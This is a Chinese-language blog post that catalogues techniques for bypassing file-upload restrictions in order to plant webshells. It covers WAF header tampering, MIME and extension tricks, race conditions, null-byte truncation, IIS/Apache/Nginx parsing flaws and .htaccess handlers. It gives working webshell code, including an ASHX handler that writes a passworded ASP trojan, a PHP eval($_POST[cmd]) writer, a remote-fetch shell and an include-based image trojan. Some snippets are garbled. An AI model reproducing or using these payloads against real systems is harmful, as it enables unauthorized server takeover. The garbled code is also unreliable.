文件上传绕过的一些姿势

WAF绕过
1.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name=“file”; filename=“ian.php”
将form-data; 修改为~form-data;
2.通过替换大小写来进行绕过

Content-Disposition: form-data; name=“file”; filename=“yjh.php”
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
3.通过删减空格来进行绕过

Content-Disposition: form-data; name=“file”; filename=“yjh.php”
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name=“file”; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
4.通过字符串拼接绕过

看Content-Disposition: form-data; name=“file”; filename=“yjh3.php”
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata

6.HTTP header 属性值绕过

Content-Disposition: form-data; name=“file”; filename=“yjh.php”
我们通过替换form-data 为*来绕过
Content-Disposition: *; name=“file”; filename=“yjh.php”
7.HTTP header 属性名称绕过

源代码:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png
C.php”
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.
8.等效替换绕过

原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等

MIME类型绕过
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过
多次上传Win特性绕过
多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。
条件竞争绕过
通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
文件内容检测绕过
针对文件内容检测的绕过,一般有两种方式
1.制作图片马
2.文件幻术头绕过
垃圾数据填充绕过
修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过

文件扩展名绕过
Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀
ashx上传绕过
cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
<%@ WebHandler Language=“C#” Class=“Handler” %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";

    //这里会在目录下生成一个test.asp的文件
    StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
    //这里是写入一句话木马   密码是:ptu
    file1.Write("<%response.clear:execute request("put"):response.End%>");
    file1.Flush();
    file1.Close();
}
public bool IsReusable {
    get {
        return false;
    }
}

}
特殊文件名绕过
比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
Windows流特性绕过
php在windows的时候如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
白名单后缀绕过
00截断绕过上传
php .jpg 空格二进制20改为00
解析漏洞

1.1、IIS6.0解析漏洞

1.目录解析

–创建/xx.asp/,上传图片马,即路径为:/xx.asp/xx.jpg,打开图片会被当着脚本来解析

,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

2、分号解析

–nfck.asp;.jpg(其他类型nfck.php/.jpg nfck.php.jpg)

在IIS6.0下,分号后面的不被解析,会被服务器看成是xx.asp

3、畸形文件名解析

上传.asa.cer.cdx.asax这四种文件格式也会被当着asp脚本来解析

1.2Apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

比如nfck.php.owf.rar ".owf"和“.rar”这两种后缀是Apache不可识别解析,Apache就会把该文件解析成PHP

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个nfck.php.rara.jpg.png…

把知道的后缀都写一遍,去测试是否为合法后缀

任意不识别的后缀,自动向上识别

比如禁止上传的文件格式为PHP\ASP\ASPX\ASA等

那么把上传的文件这样写,X.PHP.NFCK

让后面的后缀名识别不了,就上传了一个X.PHP的文件

也可以直接将文件改成X.PHP. 后面加个点,或加个下划线_

1.3、IIS7.0/7.5/Nginx<8.03岖形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…在默认Fast-CGI开启状况下,黑阔上传一个名字为cracer.jpg,

内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,

然后访问cracer.jpg/.php,在这个目录下就会生成一句话木马 shell.php

注:不仅仅是iis7.0/7.5,只要Fast-CGI开启状况下都可以利用该漏洞

1.4htaccess文件解析

一般为留后门使用,如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

1.5双文件上传

条件:

接受两个文件同时上传

只检测了第一个文件扩展名

动易、南方、良精等CMS存在该漏洞

用burpsuite抓包,然后将请求头部分下面的内容负责,开头为-----,结尾为----------

其他地方不用负责,然后粘贴到第一个文件结尾-------后面,把第二个文件开头------去掉

将第一个文件的name=xxxx修改为name=xxxx1,修改文件名为cer或者asa等即可上传成功

前端限制绕过
1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。
下载绕过
远程下载文件绕过

<?php $str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']); ?>

文件包含绕过
上传图片木马
x = x= x=_GET[‘x’];
include($x);
访问图片地址

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值